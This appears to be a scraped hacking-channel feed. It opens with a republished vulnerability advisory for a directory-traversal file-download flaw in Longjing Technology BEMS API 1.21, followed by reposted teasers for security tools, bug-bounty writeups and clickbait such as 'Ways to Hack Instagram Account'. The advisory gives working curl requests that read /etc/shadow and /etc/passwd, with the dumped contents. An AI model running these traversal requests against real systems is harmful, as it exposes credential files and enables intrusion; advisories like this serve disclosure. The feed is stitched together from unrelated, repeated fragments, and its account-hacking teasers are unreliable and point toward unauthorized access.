Exploit Collector
Longjing Technology BEMS API 1.21 Remote Arbitrary File Download

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Longjing Technology BEMS API version 1.21 suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

MD5 | 6a5637ce7d7f32fbc3a3c1f0931505e7

Download

Longjing Technology BEMS API 1.21 Remote Arbitrary File Download
Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21

Summary: Battery Energy Management System.

Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.

Tested on: nginx/1.19.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
05.07.2021

--
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow

root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Rconn : Rconn Is A Multiplatform Program For Creating Generic Reverse Connections

Rconn (r[everse] conn[ection]) is a multiplatform program for creating reverse connections. It lets you consume services that are behind NAT and/or firewall without adding firewall rules or port-forwarding. This is achieved by creating a connection from the node behind the firewall/NAT to a port on your local machine, and then a port is exposed in […]

The post Rconn : Rconn Is A Multiplatform Program For Creating Generic Reverse Connections appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Juumla : Tool Designed To Identify And Scan For Version, Config Files In The CMS Joomla!

Juumla is a python tool developed to identify the current Joomla version and scan for readable Joomla config files. Installing / Getting started A quick guide of how to install and use Juumla. Clone the repository – git clone https://github.com/oppsec/juumla.git Install the libraries – pip3 install -r requirements.txt Run Juumla – python3 main.py -u https://example.com Docker […]

The post Juumla : Tool Designed To Identify And Scan For Version, Config Files In The CMS Joomla! appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Facebook Vulnerability: Expose Group Member — $3000

The issue is Insecure Direct Object with impact malicious user can expose or determine member on closed group. But the issue have limits…Continue reading on Medium »
Read more...

Account takeover via stored xss

Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…Continue reading on Medium »
Read more...

Facebook Vulnerability: Expose Group Member — $3000
https://medium.com/@muhammadsholikhin/facebook-vulnerability-expose-group-member-3000-cca809a53f6b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

The issue is Insecure Direct Object with impact malicious user can expose or determine member on closed group. But the issue have limits…Continue reading on Medium » (https://medium.com/@muhammadsholikhin/facebook-vulnerability-expose-group-member-3000-cca809a53f6b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Account takeover via stored xss
https://medium.com/@vikramroot/account-takeover-via-stored-xss-b774f7a2a3ab?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…Continue reading on Medium » (https://medium.com/@vikramroot/account-takeover-via-stored-xss-b774f7a2a3ab?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Account takeover via stored xss

https://cdn-images-1.medium.com/max/720/1*klI-2CxTB0lKMcO-j94L8A.jpeg
Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BrightScan #ThreatIntelThursday | Logic Bombs

https://cdn-images-1.medium.com/max/1920/1*APAg9SpG7plRSbbpoWvzFA.png
By: Sarah King

Continue reading on OpenAVN »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to hack a Wi-Fi network!

https://cdn-images-1.medium.com/max/2345/1*VckZJ23dTdcBT4u0fHnTQw.jpeg
বর্তমানে বাঙালিরা হ্যাকিং বলতে পাশের বাসার ওয়াইফাই আর গার্লফ্রেন্ডের ফেইসবুক একাউন্ট access করা বোঝে।
যাক একটা ইচ্ছা অন্তত পূরণ করার…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
7 Ways to Hack Instagram Account Successfully in 2021

https://cdn-images-1.medium.com/max/728/1*V7gzY1PC0FKYUucZpVH-DQ.jpeg
Instagram is one of the most popular social media apps today. But is it possible to hack Instagram username and password? Well, we live in…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video